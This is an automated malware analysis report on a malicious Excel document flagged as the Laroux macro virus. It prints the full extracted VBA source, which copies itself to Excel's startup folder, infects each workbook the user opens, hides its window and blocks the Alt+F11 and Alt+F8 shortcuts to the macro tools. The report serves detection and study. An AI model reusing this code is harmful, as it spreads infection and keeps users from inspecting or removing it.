Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 67b3af91dc50bf87…

MALICIOUS

Office (OLE)

92.5 KB Created: 2012-03-10 11:05:49 First seen: 2016-12-09
MD5: d8cf32b9ed50c7e10ac1e4ca06b0d967 SHA-1: 31f241f09b01e2b4f9d135feb1107642309f4e93 SHA-256: 67b3af91dc50bf87672178b0450eb859bbf71d6c0a044a9bdeec2d79ea5bf59f
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, specifically an Auto_Open macro, which is a common technique for malicious Office documents. The script attempts to establish persistence by copying itself to the Excel startup directory as 'StartUp.xls' and configuring Excel to automatically execute it upon opening. This behavior is indicative of a macro-based malware dropper.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1176 bytes
SHA-256: 9e8ce1401c4739b83f9e6a6842670f92d64e220d4214f18d0db5f915102b51a3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.